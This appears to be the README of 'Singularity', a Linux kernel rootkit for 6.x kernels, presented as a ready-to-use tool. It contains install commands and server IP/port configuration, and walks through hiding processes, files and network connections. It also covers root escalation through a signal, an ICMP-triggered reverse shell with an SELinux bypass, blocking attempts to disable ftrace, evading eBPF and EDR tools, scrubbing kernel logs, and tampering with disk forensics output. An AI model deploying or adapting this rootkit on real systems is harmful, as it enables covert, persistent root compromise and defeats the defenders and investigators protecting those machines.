Stealthy Linux Kernel Rootkit for modern kernels (6x)
Stealthy Linux Kernel Rootkit for modern kernels (6x)
"Shall we give forensics a little work?"
This project was inspired by a very special woman to me: Mocinha ❤️
Singularity is a powerful Linux Kernel Module (LKM) rootkit designed for modern 6.x kernels. It provides comprehensive stealth capabilities through advanced system call hooking via ftrace infrastructure.
Full Research Article (outdated version): Singularity: A Final Boss Linux Kernel Rootkit
EDR Evasion Case Study: Bypassing Elastic EDR with Singularity
POC Video: Singularity vs eBPF security tools: Singularity vs eBPF security tools
Breaking eBPF Security with Singularity hooks: Breaking eBPF
Singularity Rootkit: Evading Elastic Defend Module Load Detection Bypassing Elastic Defend
Singularity is a sophisticated rootkit that operates at the kernel level, providing:
/sys/fs/cgroup/*/cgroup.procscd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..That's it. The module automatically:
The module automatically hides itself after loading
There is no unload feature - reboot required to remove
Test in a VM first - cannot be removed without restarting
Edit include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if neededEdit modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired portEdit modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORTEdit modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORTImportant: All port definitions must match for proper network hiding and ICMP reverse shell functionality.
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
Files matching your configured patterns are automatically hidden:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directorySignal-based method:
kill -59 $$
id # uid=0(root)Connections on your configured port (default: 8081) are automatically hidden:
nc -lvnp 8081
# Invisible to all monitoring
ss -tulpn | grep 8081 # (no output)
netstat -tulpn | grep 8081 # (no output)
lsof -i :8081 # (no output)
cat /proc/net/nf_conntrack | grep 8081 # (no output)
# Even advanced netlink queries are filtered
ss -tapen | grep 8081 # (no output)
conntrack -L | grep 8081 # (no output)Packets are dropped at raw socket level (tpacket_rcv) and hidden from:
Trigger a hidden reverse shell remotely with automatic SELinux bypass:
1. Start listener:
nc -lvnp 8081 # Use your configured port2. Send ICMP trigger:
sudo python3 scripts/trigger.py <target_ip>3. Receive root shell (automatically hidden with all child processes, SELinux enforcing mode bypassed if active)
All attempts to disable ftrace are silently intercepted and blocked:
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothingProtected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (with intelligent per-PID caching)
The bpf_hook.c module implements a sophisticated anti-detection system against eBPF-based security tools. Rather than blocking BPF syscalls entirely (which would be a detection fingerprint), it selectively filters data at the kernel level to make hidden processes and connections invisible to eBPF programs.
Strategy: Intercept data collection and reporting functions used by eBPF programs, not the BPF syscall itself. This allows legitimate eBPF tools to run normally while preventing them from seeing hidden resources.
Protected resources:
Interception points:
This approach defeats eBPF security tools without triggering alerts that would come from blocking BPF operations entirely.
Protection against io_uring bypass in ftrace_enabled and tracing_on attempts with intelligent caching (1 second cache per PID to prevent repeated process scanning and reduce overhead)
Real-time filtering of sensitive strings from all kernel log interfaces:
| Interface | Hook | Status |
|---|---|---|
dmesg |
read hook on /proc/kmsg | Filtered |
journalctl -k |
write hook (output filtering) | Filtered |
klogctl() / syslog() |
do_syslog hook | Filtered |
/sys/kernel/debug/tracing/* |
read hook | Filtered |
/var/log/kern.log, syslog, auth.log |
read hook | Filtered |
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo |
read hook | Filtered |
/proc/net/nf_conntrack |
read hook | Filtered |
Filtered keywords: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
Note: Audit messages for hidden PIDs are dropped at netlink level with statistics tracking (get_blocked_audit_count, get_total_audit_count)
Singularity hooks the write syscall to detect and filter output from disk forensics tools:
How it works:
/dev/sda, /dev/nvme0n1, etc)# Hidden files are invisible even to raw disk analysis
debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
# (spaces where "singularity" was)
# The pattern is sanitized in the output buffer
# Checksums remain valid, no corruptionDetected patterns:
debugfs: prefixInode count:, Block count:, Filesystem volume name:Filesystem UUID:, e2fsck, Inode:Complete hiding from syscalls and kernel interfaces:
Child processes automatically tracked via sched_process_fork tracepoint hook.
No open issues yet, or sync has not completed.